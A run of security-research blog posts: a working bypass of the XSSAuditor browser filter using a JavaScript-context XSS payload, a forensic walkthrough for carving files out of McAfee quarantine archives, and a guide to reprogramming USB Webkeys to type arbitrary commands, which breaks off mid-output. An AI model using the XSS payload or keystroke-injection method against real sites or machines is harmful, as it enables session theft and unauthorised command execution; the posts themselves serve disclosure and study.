Sounds good right? Well, maybe - now that we have an idea what XSSAuditor does and how it works. Let's look at where it fails!

Bypassing XSSAuditor

The problem is that XSSAuditor only checks for the escape sequences that apply to the HTML entity and HTML attribute output contexts, but not the others! This means if a XSS vulnerability is present within the JavaScript context (a very common occurrence), then XSSAuditor only checks it for known malicious input and as long as it doesn't match, the XSS gets executed.

Lets look a simple case where this might happen. Consider the following code:
 <html><head><title>Test Page</title></head>
<body>
<script>
var foo = "<%= request.getParameter("foo") %>";
document.write("<text>Welcome "+ foo + "</text>");
</script>
</body>
</html>



This is a classic XSS example. If we direct our browser to http://www.domain.com/test.jsp?foo=2"; alert(document.cookie); var a="1 our JavaScript is executed:


Wait - that shouldn't happen - and this is with Google Chrome version 22.0.1229.12

Browser Results

The same URL was tested against different browsers which implement similar filters to block XSS attacks. The following observations were made:

  • Internet Explorer 8.0 with XSS filter enabled, detected and blocked the attack.
  • Mozilla Firefox 14.0.1 with Noscript 2.4.8, detected and blocked the attack.
  • Safari 5.1.7, failed to detect the attack and executed the script. (This is because Safari and Google Chrome contain the same implementation of XSS Auditor)

This bug affects all versions of Google Chrome (4 and above), Safari (5.1.7, lower versions not tested yet) on all platforms and was reported to Webkit Bugzilla (https://bugs.webkit.org/show_bug.cgi?id=92692) on 07/30/2012.

↧

Carving BUPs By Hand

September 25, 2012, 6:13 am
$
0
0
By Tony Lee.

We released a couple of tools aimed at reversing a McAfee Quarantined BUP file in the previous article titled: UnBup – McAfee BUP Extractor for Linux. However, we recently ran into a strange BUP that could not be dissected with our tool. This article outlines the strange behavior we saw and the steps used to overcome the issue.

The Problem

While investigating a Global Threat Intelligence (GTI) hit, we wanted to break down the binary—thus we tried to use our trusty tool provided in the UnBup blog. However, the tool threw the following error which we had never been seen before:
 [root@localhost folder]# ./UnBup.pl 1234567890abcdef.bup
Extracting encoded files from Bup
Creating the Details.txt file
cut: option requires an argument -- f
Try `cut --help' for more information.
Extracting the binary
Input file "File_0" does not exist



We checked the size of the Details file (which is used to create the Details.txt file) that was extracted by our UnBup tool. To our surprise it was 0 bytes:
 [root@localhost folder]# ls -al Details*
-rw-r--r-- 1 root root 0 Aug 21 15:03 Details
-rw-r--r-- 1 root root 0 Aug 22 07:54 Details.txt



The first assumption was that there is something wrong with the UnBup tool, so we tried to decompress the file manually with 7zip:
 root@localhost folder]# 7z e 1234567890abcdef.bup
7-Zip 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
Processing archive: 1234567890abcdef.bup
Extracting  Details
Everything is Ok
Size:       0   <--  Whoa...
Compressed: 49152



To our surprise, 7zip also had a problem decompressing the file. It extracted the Details file, but it was 0 bytes. Our guess as of right now is that the file is malformed and not a readable Microsoft Compound Document Format. It will be necessary to dig deeper on this issue later—but it would be interesting to see if anyone else has experienced this same problem. In the meantime, we still needed to analyze the binary.

Preliminary Analysis

Since we still needed to investigate the detection we decided to pull the BUP apart manually; First, we performed a quick preliminary analysis, then extracted the Details.txt file out and finally the suspicious file.

In order to take a quick glance at the BUP, you might be tempted to try a hexdump –C “BUP_Name”, but remember this file is xor’d.

Reviewing the binary operation XOR from the previous article, a truth table is provided below:



To decode the file, you could use our xor.pl script that we posted in the UnBup tool blog post. You can find our code here: https://github.com/OpenSecurityResearch/unbup/blob/master/xor.pl

Now XOR the BUP: 
 [root@localhost folder]# ./xor.pl
Simple xor script
  Usage: ./xor.pl <Input File> <Output File>
Tony.Lee-at-Foundstone.com
[root@localhost folder]# ./xor.pl 1234567890abcdef.bup 1234567890abcdef.xor



Now you can use hexdump –C on the .xor file that you created. Notice that you can read the Details.txt and the start of the suspected file. You will have multiple streams within one file – hence the premise behind Microsoft’s Compound Document Format. As ugly as it is, you can glean lots of information from this view. You can also use strings on the file in order to pull out the text from the Details file as well as the strings from the binary in one shot. Below are snippets from the xor file. Notice that the top portion is the file header, the middle portion is the details section, and the last portion is the suspected malicious file:

 hexdump -C 1234567890abcdef.xor | less

00000000  ba a5 7b 8a cb db 70 8b  6a 6a 6a 6a 6a 6a 6a 6a  |..{...p.jjjjjjjj|
--snip--
*** FILE HEADER * FILE HEADER * FILE HEADER * FILE HEADER * FILE HEADER ***
*** FILE HEADER * FILE HEADER * FILE HEADER * FILE HEADER * FILE HEADER ***  
--snip--
000005c0  6a 6a 6a 6a 95 95 95 95  95 95 95 95 95 95 95 95  |jjjj............|
000005d0  6a 6a 6a 6a 6a 6a 6a 6a  6a 6a 6a 6a 6a 6a 6a 6a  |jjjjjjjjjjjjjjjj|
*


00000800  0d 0a 5b 44 65 74 61 69  6c 73 5d 0d 0a 44 65 74  |..[Details]..Det|
00000810  65 63 74 69 6f 6e 4e 61  6d 65 3d 41 72 74 65 6d  |ectionName=Artem|
--snip--
*** DETAILS SECTION * DETAILS SECTION * DETAILS SECTION * DETAILS SECTION *** 
*** DETAILS SECTION * DETAILS SECTION * DETAILS SECTION * DETAILS SECTION *** 
--snip--
00000d40  31 5d 0d 0a 4f 62 6a 65  63 74 54 79 70 65 3d 35  |1]..ObjectType=5|
00000d50  0d 0a 6a 6a 6a 6a 6a 6a  6a 6a 6a 6a 6a 6a 6a 6a  |..jjjjjjjjjjjjjj|
00000d60  6a 6a 6a 6a 6a 6a 6a 6a  6a 6a 6a 6a 6a 6a 6a 6a  |jjjjjjjjjjjjjjjj|
*


00000e00  4d 5a 90 00 03 00 00 00  04 00 00 00 ff ff 00 00  |MZ..............|
00000e10  b8 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00  |........@.......|
00000e20  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000e30  00 00 00 00 00 00 00 00  00 00 00 00 d0 00 00 00  |................|
00000e40  0e 1f ba 0e 00 b4 09 cd  21 b8 01 4c cd 21 54 68  |........!..L.!Th|
00000e50  69 73 20 70 72 6f 67 72  61 6d 20 63 61 6e 6e 6f  |is program canno|
00000e60  74 20 62 65 20 72 75 6e  20 69 6e 20 44 4f 53 20  |t be run in DOS |
--snip--
*** SUSPICIOUS FILE * SUSPICIOUS FILE * SUSPICIOUS FILE * SUSPICIOUS FILE *** 
*** SUSPICIOUS FILE * SUSPICIOUS FILE * SUSPICIOUS FILE * SUSPICIOUS FILE *** 
--end--




Extracting the Details

If we still want the actual Details.txt file, we will need to work a little bit for this. We can use DD to carve it out of this file, but first we need to know three things:
  1. Starting address of the Details section
  2. Ending address of the Details section
  3. The length of the Details section (#2 - #1)

Find where Details starts: Using hexdump –C. and look for 0d 0a 5b 44 or “..[D”. Note the hex offset to the left side. In our example, it is 0x800:
 hexdump -C 1234567890abcdef.xor | less

--snip--
000005c0  6a 6a 6a 6a 95 95 95 95  95 95 95 95 95 95 95 95  |jjjj............|
000005d0  6a 6a 6a 6a 6a 6a 6a 6a  6a 6a 6a 6a 6a 6a 6a 6a  |jjjjjjjjjjjjjjjj|
*
00000800  0d 0a 5b 44 65 74 61 69  6c 73 5d 0d 0a 44 65 74  |..[Details]..Det|
00000810  65 63 74 69 6f 6e 4e 61  6d 65 3d 41 72 74 65 6d  |ectionName=Artem|
--snip--



Now look for where Details ends: Using hexdump –C, try to find where the ASCII text ends (hint: look for 0d 0a which is carriage return (CR) and line feed (LF) respectively just before the next section MZ in our case). In our example, it is 0xd51 as shown below:
 hexdump -C 1234567890abcdef.xor | less

--snip--
00000d40 31 5d 0d 0a 4f 62 6a 65 63 74 54 79 70 65 3d 35 |1]..ObjectType=5|
00000d50 0d 0a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |..jjjjjjjjjjjjjj|
00000d60 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
*
00000e00 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 |MZ..............|
00000e10 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 |........@.......|
00000e20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000e30 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 |................|
00000e40 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 |........!..L.!Th|
00000e50 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f |is program canno|
00000e60 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 |t be run in DOS |
--snip--



To find the length of the Details section we can use a "Programming" calculator that understands hex – For example, calc.exe -> View -> Programmer:
 0xd51 - 0x800 = = 0x551 + 1 = 0x522 = 1,362 bytes (decimal)



It is finally time to extract the Details section into Details.txt 
 Start of Details.txt = 0x800 = 2,048 (decimal)
Length of Details section = 0x522 = 1,362 (decimal)



You will use the dd command for extraction and the .xor file we created as input. Plug the starting address of the Details section into the skip parameter and the length of the section into the count parameter.
 dd if=1234567890abcdef.xor bs=1 skip=2048 count=1362 of=Details.txt

[root@localhost folder]# file Details.txt
Details.txt: ASCII text, with CRLF line terminators
 
[Details]
DetectionName=Artemis!XXXXXXX4DAB9
DetectionType=1
EngineMajor=xxxx
EngineMinor=xxxx
DATMajor=xxxx



Extracting the suspicious file

Now we want to extract the suspicious file. We will need to know where the suspicious file begins. Assuming that is an executable which it was in our case—it will start with MZ. Use trusty hexdump to find the offset:
 hexdump -C 1234567890abcdef.xor | less
--snip--
00000d40  31 5d 0d 0a 4f 62 6a 65  63 74 54 79 70 65 3d 35  |1]..ObjectType=5|
00000d50  0d 0a 6a 6a 6a 6a 6a 6a  6a 6a 6a 6a 6a 6a 6a 6a  |..jjjjjjjjjjjjjj|
00000d60  6a 6a 6a 6a 6a 6a 6a 6a  6a 6a 6a 6a 6a 6a 6a 6a  |jjjjjjjjjjjjjjjj|
*
00000e00  4d 5a 90 00 03 00 00 00  04 00 00 00 ff ff 00 00  |MZ..............|
00000e10  b8 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00  |........@.......|
00000e20  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000e30  00 00 00 00 00 00 00 00  00 00 00 00 d0 00 00 00  |................|
00000e40  0e 1f ba 0e 00 b4 09 cd  21 b8 01 4c cd 21 54 68  |........!..L.!Th|
00000e50  69 73 20 70 72 6f 67 72  61 6d 20 63 61 6e 6e 6f  |is program canno|
00000e60  74 20 62 65 20 72 75 6e  20 69 6e 20 44 4f 53 20  |t be run in DOS |
--snip--



In our case, the binary starts at 0xe00 which is 3,584 bytes into the xor’d file. Use dd to carve out the original binary by skipping that number of bytes:
 [root@localhost folder]# dd if=1234567890abcdef.xor bs=1 skip=3584 of=orig.exe
45568+0 records in
45568+0 records out
45568 bytes (46 kB) copied, 0.718273 seconds, 63.4 kB/s

[root@localhost folder]# file orig.exe
orig.exe: PE32 executable for MS Windows (native) Intel 80386 32-bit



In our case, we were able to compare the MD5 hash with the original Artemis name to prove that this is an exact match. Now you can strings the binary or drop it into Olly, IDA, or Immunity and have some fun!

Gotchas

One thing that made this analysis and manual breakdown “easy” is that both the description and suspicious file were relatively short and did not break across multiple streams. Since large files are often broken up in the xor’d BUP (Microsoft Compound Document Format), you will have to account for these gaps if processing anything that is split.

Feel free to post back—we would be interested to see if anyone else has run into this situation.

↧

Hacking USB Webkeys

October 2, 2012, 3:30 am
$
0
0
By Brad Antoniewicz.

USB Webkeys (also known as my:keys, Intelligent Web Keys, iKeys, Internet Keys, SQUIBkeys, BuzzCards, and Bonpals) are marketing tools that you’ll commonly come across at trade shows and conferences. They come in all different shapes and sizes and, to many, these little devices are neat novelty freebees that provide a creative way for a company to market themselves. When you insert the device into the USB port of a Windows machine, a run dialog box is opened, the website of the promoter is typed before your eyes, and your default browser automatically renders the page! Pretty cool huh?

How it works

If you haven’t figured it out already - the Webkey mimics a USB Human Interface Device (HID). When you insert it into your USB port, your computer sees the equivalent of a USB keyboard, the Webkey “hits” the keys required to invoke the Windows run dialog box, types the URL, and presses the “enter” key.

What caught my attention almost immediately when I first came across these (at Blackhat of all places) was that this is very much part of what the Teensy does!

The brains of the Webkey is all stuffed into a tiny chip that fits into your USB port. If you pop that chip out of its casing and peel off the glue, you'll get something like this. The part number of this particular Webkey is "WEB-130C".



EEPROM Fun

JJShortcut wrote up a great article describing how to reprogram the EEPROM of a specific Webkey he encountered. My Webkey is a little bit different, so first I’ll go over this same method with a little more detail and specifics with the Webkey I have.

The very first thing you’ll notice on the board is the EEPROM. If you have good eyes (or a magnifying glass) you’ll see that it’s marked “J24C02C” on one line, and “DP1D07” on the next. That’s our target.

Finding the Pin Outs

If you search around the Internet for data sheets, you’ll eventually come across this one. It’s the closest I could find to the actual chip, but it doesn’t exactly match. Under ordering information, the datasheet defines how the part number (first line printed on the EEPROM) is broken down: J (Prefix), 24 (Two-wire I2C Interface), and C02 (2K bits). Unfortunately, the “C” on our chip doesn’t have a translation on the ordering information page. Based on looks (chip size and pin placement), we also get a slight hint at what the pin outs might be within the “PIN configuration” section for the DFN-8 chip, however, as you’ll soon see, it’s a bit backwards - in reality, the pin outs are more like the first three :). At any rate, this is all good news since we now have a vague idea of what we’re dealing with.

Soldering In Wires

For now, we’ll blindly take the diagram for DFN-8 as the pin outs for our chip (we’ll also troubleshoot a little to show why its not). In order to interact directly with the EEPROM, we’ll have to tap into its I2C interface by soldering wires directly to the pins on the chip itself. Unless you have a lot of experience with soldering, this is tricky. The chip is small, the pins are smaller, and everything is really close together. I used 30AWG wrapping wire and .022 Solder (this is pretty big, find something smaller).

Side Rant: I’m also going out on a limb by linking RadioShack. When I was really young, I used to go to RadioShack to buy lots of stuff, particularly DTMF tone generators and 6.5535MHz crystals (for educational purposes), sometime between then and a about year ago, RadioShack lost its way and stopped selling electrical components. Over the last few months, I’ve grown to really rely on the RadioShack around the block from my office and applaud its efforts to go back to its roots by maintaining a decent hobbyist section – good job guys – selling cell phones is lame :)

You’re also going to need a fine tip for your soldering iron. This is where RadioShack is still behind – their soldering irons sort of suck when it comes to tiny electronics. I recently bought a Weller WES51 Analog Soldering Station – it is a bit pricey, but I’m convinced it’s worth it for anyone getting into hardware. I’ve also picked up some Weller tips to help get into small places and helping hands to see them.

Once you have all your hardware sorted out, solder wires to the GND (ground) and SDA (Serial Data Line) pin guesses as detailed in the next image, it might be worthwhile for you to read the rest of the article as you’ll need to do a little more soldering after this step and it is probably easier to do it all at once.

First tin the tip on your soldering iron by adding a little solder to it, then also add some solder to the EEPROM’s pins. Be careful here, too much solder will make you bridge the pins and then you’ll need to get soldering wick to clean up your mess. Next heat the pins and introduce the wire, there should be enough solder on the pins to make the connection. Avoid overheating the pins because excessive heat could damage the chip - that being said, its often surprising how much heat it can take.

Figuring out The True Pin Outs

With wires connected to the two pins above, we can easily connect probes to monitor the data on the pins. We’ll use the Saleae Logic Analyzer to see what’s going on. Connect the black Saleae lead to the GND wire and the brown Saleae lead to the SDA wire.

Next, we’ll need to actually plug the Webkey into our USB port so that we can see what, if any, data is going across those pins. Inserting the Webkey with the wires soldered on provides a bit of a problem given the EEPROM placement and the thickness of the board. I ended up taking the Webkey holder, bending it in half, inserting it into a USB extender, then sliding the board carefully in between the holder and the USB leads. With this secured, you can plug the USB extender’s connector into the computer as needed without needing to apply constant pressure to the Webkey to make the connection or risking messing up the joints connecting the wires and the EEPROM pins. Before connecting the USB extender to the computer, start Logic, and set it to 1 billion samples (this is a bit excessive) at 2MHz. Insert the extender into your USB port, and wait until the browser is launched. Stop Logic and let’s look at the results.

At first glance, you’ll notice that the GND (black/channel 0) is high and fluctuating, and the SDA (brown/channel 1) is pulled low. This means our initial guess that the DFN-8 pin diagram is the correct diagram for our chip is wrong – the GND should remain low. No need to worry, at least we have a good guess at our true SDA. Given its location, we can take a guess that GND is where we thought SDA was, and SDA is where we thought GND was. Also by looking at the other pin out diagrams, we can take a guess that SCL (Serial Clock) is right above SDA. Let’s solder in a wire to monitor that pin. Our new pin out diagram is:

Once our SCL wire is soldered in, we’ll connect the Saleae’s red lead to our SCL guess, reassemble things, start Logic, and insert our USB extender’s connector. This time we should have Saleae Black (Channel 0) to the EEPROM's GND; Saleae Brown (Channel 1) to SDA; and Saleae Red (Channel 2) to our SCL guess. Logic’s output is as follows:

Ok, we see that the Saleae’s brown fluctuates as normal, but now the Saleae’s red also rises high and then drops low at a regular rate whenever the brown fluctuates. This is our SCL. We can see this a little clearer when we zoom in:

Sniffing I2C Data

Now we have a pretty good chance that the Saleae’s black is actually connected to GND, brown to SDA, and red to SCL, this is all we need for I2C! For good measure, you’ll probably want to take this time to disconnect the Saleae’s black and connect Saleae’s Ground wire (which is gray) to the EEPROM's GND instead.

Next we’ll need to figure out what data is being transmitted. Let’s apply a filter within Logic to decode the I2C messages. Select the + in the rightmost pane next to “Analyzers” and choose I2C. In the new window, define SDA as “1 – ‘Channel 1’” and SCL as “2 – ‘Channel 2’”, then click “Save”.

Now under “Analyzers” you should see “I2C” listed. Click the gear icon next to it, hover over “Display using Global Settings” and change it to “Ascii & Hex”. When we zoom into a particular sequence, if the analyzer can properly decode it, it’ll display the ASCII and Hex translation.

This is what I2C looks like. We have a start sequence, then a “read” command (0xA1), followed by a response (0xD3). As we scroll right we’ll start to see the rest of data being sent.



I threw together a quick video so you can see what the entire transmission looks like:



Overwriting the EEPROM

Probably the easiest method to hacking these Webkeys is to simply overwrite the EEPROM. The microcontroller looks to the EEPROM to get what it’s going to type, so if you just replace that with what you want, you’re golden. Similar to JJShortcut’s article, we’ll use the Bus Pirate to interact with the EEPROM via its I2C interface. I’m using the Bus Pirate v3.6 (Firmware v6.1 r1676 Bootloader v4.4) with the SeeedStudio Bus Pirate Probe Kit.

We’ll have to do a little more soldering before we can start programming. First we’ll solder a wire into the VSS pin ,which provides power to the chip. The VSS pin location is determined by making an educated guess based on the datasheet’s pin out diagrams. The last bit of soldering is to bridge the A0, A1 and A2 pins with the GND. So in the end our pin out diagram should look like this:



After we solder everything in, it’ll look like this (which is admittedly an ugly job - and I should have removed the glue):



Now that we have all of the connections made, we can connect the bus pirate. The SeeedStudio Probe Kit uses the following pin outs (which is what I’ll use for the rest of this article):

Image is from http://dangerousprototypes.com/docs/Common_Bus_Pirate_cable_pinouts

Make the following connections:

Bus Pirate EEPROM
MOSI->SDA
GND->GND
CLK->SCL
+5V->VSS
Vpu->VSS


These connections are all pretty straight forward with the exception of the Vpu, which is for the pullup resistors on the Bus Pirate that are needed when speaking I2C.

With the Bus Pirate connected via USB to your computer, determine the COM port it’s using then load up your terminal emulator, setting it to 115200, 8, N, 1. Since the Bus Pirate will be providing power to the EEPROM directly, there’s no need to have the Webkey connected via USB.

The Bus Pirate’s configuration commands may seem a little foreign at first but as you use them more, they become very natural and intuitive. When you connect to the Bus Pirate, hit enter to give it a little bump and you’ll be provided it’s “HiZ>” prompt.

First enter “m” to change the mode, and select “4” for I2C. 

 HiZ>m
1. HiZ
2. 1-WIRE
3. UART
4. I2C
5. SPI
6. 2WIRE
7. 3WIRE
8. LCD
x. exit(without change)

(1)>4



The Bus Pirate will prompt you for a speed and select “4” for ~400KHz. Then you should be told the Bus Pirate is “Ready”. 

 Set speed:
 1. ~5KHz
 2. ~50KHz
 3. ~100KHz
 4. ~400KHz

(1)>4
Ready
I2C>



Finally, we'll have to provide power to the EEPROM by enabling the power supplies with "W" and the pull up resistors with "P", then finally use "v" to verify (all commands are case sensitive):

 I2C>W
POWER SUPPLIES ON
I2C>P
Pull-up resistors ON
I2C>v
Pinstates:
1.(BR)  2.(RD)  3.(OR)  4.(YW)  5.(GN)  6.(BL)  7.(PU)  8.(GR)  9.(WT)  0.(Blk)
GND     3.3V    5.0V    ADC     VPU     AUX     SCL     SDA     -       -
P       P       P       I       I       I       I       I       I       I
GND     3.21V   4.91V   0.00V   4.97V   L       H       H       H       H


You can even issue commands on the same line, for example, to do all three just run WPv.

There's sort of an odd occurrence that happens somewhat sporadically with the Bus Pirate. Every once in awhile the SCL state will show as "L", or low. This might happen if you have the USB connected while you're providing power via the Bus Pirate - i'm not sure, but you can kick it back into shape by disconnecting the Webkey from it's USB port, and if that doesnt work, try running the (1) macro or resetting the Bus Pirate.

Reading EEPROM

The EEPROM maintains a pointer to the memory address that will be read when a read command (0xA1) is issued. The pointer increments each time there is a read. If it's pointing at the last available memory address, and a read is issued, it just wraps back around to the first available memory address. You can set the pointer to a particular location by issuing a write (0xA0) to the memory address you want to reset it to. For instance, if you wanted to reset it to address 0x00, you'd issue a 0xA0 0x00. You'll see how to do that with the Bus Pirate a little later.

Using the Bus Pirate to read this memory is pretty simple. First we'll send an I2C "Start" using [. Then we'll send a read (0xa1) command, tell the Bus Pirate to read data from the bus (r) and send an I2C "Stop" using ]. All together the command to be executed is [0xa0 r]. Let's see what that looks like:

 I2C>[0xa1 r]
I2C START BIT
WRITE: 0xA1 ACK
READ: 0xD3
NACK
I2C STOP BIT



The value provided next to the "READ" is what was actually read from the EEPROM, so here we read a 0xD3. If we reissue the same request, we'll see how the pointer moved to the next memory location

 I2C>[0xa1 r]
I2C START BIT
WRITE: 0xA1 ACK
READ: 0xB9
NACK
I2C STOP BIT



This time we got a 0xB9. Now if we reset the pointer to memory location 0x00 with [0xa0 0x00], we'll get that 0xD3 again:

 I2C>[0xa0 0x00][0xa1 r]
I2C START BIT
WRITE: 0xA0 ACK
WRITE: 0x00 ACK
I2C STOP BIT
I2C START BIT
WRITE: 0xA1 ACK
READ: 0xD3
NACK
I2C STOP BIT



Now lets read all it's memory: 
 I2C>[0xa0 0x00][0xa1 r:256]
I2C START BIT
WRITE: 0xA0 ACK
WRITE: 0x00 ACK
I2C STOP BIT
I2C START BIT
WRITE: 0xA1 ACK
READ: 0xD3  ACK 0xB9  ACK 0x77  ACK 0x77  ACK 0x77  ACK 0x2E  ACK 
0x66  ACK 0x6F  ACK 0x75  ACK 0x6E  ACK 0x64  ACK 0x73  ACK 
0x74  ACK 0x6F  ACK 0x6E  ACK 0x65  ACK 0x2E  ACK 0x63  ACK 
0x6F  ACK 0x6D  ACK 0xD3  ACK 0xB9  ACK 0xA8  ACK 0x80  ACK 
0x80  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xD3  ACK 0xB9  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF  ACK 
0xFF  ACK 0xFF  ACK 0xFF  ACK 0xFF
NACK
I2C STOP BIT
I2C>



To figure out what's being written, we can just convert the data from hex to ASCII. Let's skip the 0xD3 0xB9 (Not exactly sure what these do, but things act funky if you remove them) and translate the following 18 bytes (0x77 0x77 0x77 0x2E 0x66 0x6F 0x75 0x6E 0x64 0x73 0x74 0x6F 0x6E 0x65 0x2E 0x63 0x6F 0x6D):

 root@bt:~# python -c "import binascii; print binascii.unhexlify('7777772E666F756E6473746f6e652e636f6d')"
www.foundstone.com


There we go, those bytes translate into www.foundstone.com!

Writing EEPROM

Ok, we can read the data, now let's write something! We'll have take whatever we want to execute and convert it to hex, here's a quick python one liner to do so, just change the "text" variable. For instance, lets start notepad, and send a little message: 

 root@bt:~# python -c 'exec("import binascii\nimport sys\ntext=\"notepad\"\nfor letter in text:\n print \"0x\" + binascii.hexlify(letter),")'
0x6e 0x6f 0x74 0x65 0x70 0x61 0x64
root@bt:~# python -c 'exec("import binascii\nimport sys\ntext=\"ALL YOUR BASE ARE BELONG TO US!\"\nfor letter in text:\n print \"0x\" + binascii.hexlify(letter),")'
0x41 0x4c 0x4c 0x20 0x59 0x4f 0x55 0x52 0x20 0x42 0x41 0x53 0x45 0x20 0x41 0x52 0x45 0x20 0x42 0x45 0x4c 0x4f 0x4e 0x47 0x20 0x54 0x4f 0x20 0x55 0x53 0x21


We'll need to do a little formatting first. We can only write 8 bytes at time, need to have the 0xD3 0xB9 before our text, and 0x80 0x80 0x80 after. I wrote a quick script that will do the basic formatting for you: 
 root@bt:~# cat webkey_i2c_format.py
#!/usr/bin/env python
#
# webkey_i2c_format.py -
#       simple script to convert an ascii string
#       into hex and prepare it for i2c writing
#       using the bus pirate's commands
#
#       This was made specific for the EEPROM used
#       with USB Webkeys
#
#       use '+' for enter
#
#       -brad antoniewicz
#

import binascii
import sys

if len(sys.argv) != 2:
 print sys.argv[0]," - Simple bus pirate i2c formatting tool"
 print "-------------------------------------------------"
 print "\t+\t-\tEnter"
 print "\t#\t-\tTime waster\n"
 print "usage:"
 print "\t",sys.argv[0]," \"notepad +##### hello from brad\" \n"
 sys.exit(1)

text=sys.argv[1]

header="[0xA0 0 0xD3 0xB9"
#trailer=['0xD3', '0xB9', '0xA8', '0x80', '0x80', '0x80', '0xFF', '0xFF']
trailer=['0x80', '0x80', '0x80', '0xFF', '0xFF']
#trailer=['0xFF', '0xFF', '0xFF', '0xFF', '0xFF', '0xFF', '0xFF', '0xFF'] #0xA9 = ESC 0xA7=0 0xA1 = 4 0xB0 = ] 0xB1 = \
count=2 # To make up for the header
print header,
for letter in text:
 count+=1
 if letter == '+': # for enter
  print "0xA8",
 elif letter == "#": # for pause
  print "0xFF",
 else:
  print "0x" + binascii.hexlify(letter),
 if count % 8 == 0 :
  print "][0xA0",count,

endofline=count%8

i=0
while i < len(trailer):
 if endofline == 8:
  print "][0xA0",
  if count % 8 == 0:
   print count+8,
  else:
   print count+8 - (count % 8),
  endofline = 0;
 print trailer[i],
 endofline+=1
 i+=1

print "][0xA0 0x00]"




Let's give it a whirl:

 root@bt:~# ./webkey_i2c_format.py "notepad +##### hello from brad"
[0xA0 0 0xD3 0xB9 0x6e 0x6f 0x74 0x65 0x70 0x61 ]
[0xA0 8 0x64 0x20 0xA8 0xFF 0xFF 0xFF 0xFF 0xFF ]
[0xA0 16 0xFF 0x20 0x68 0x65 0x6c 0x6c 0x6f 0x20 ]
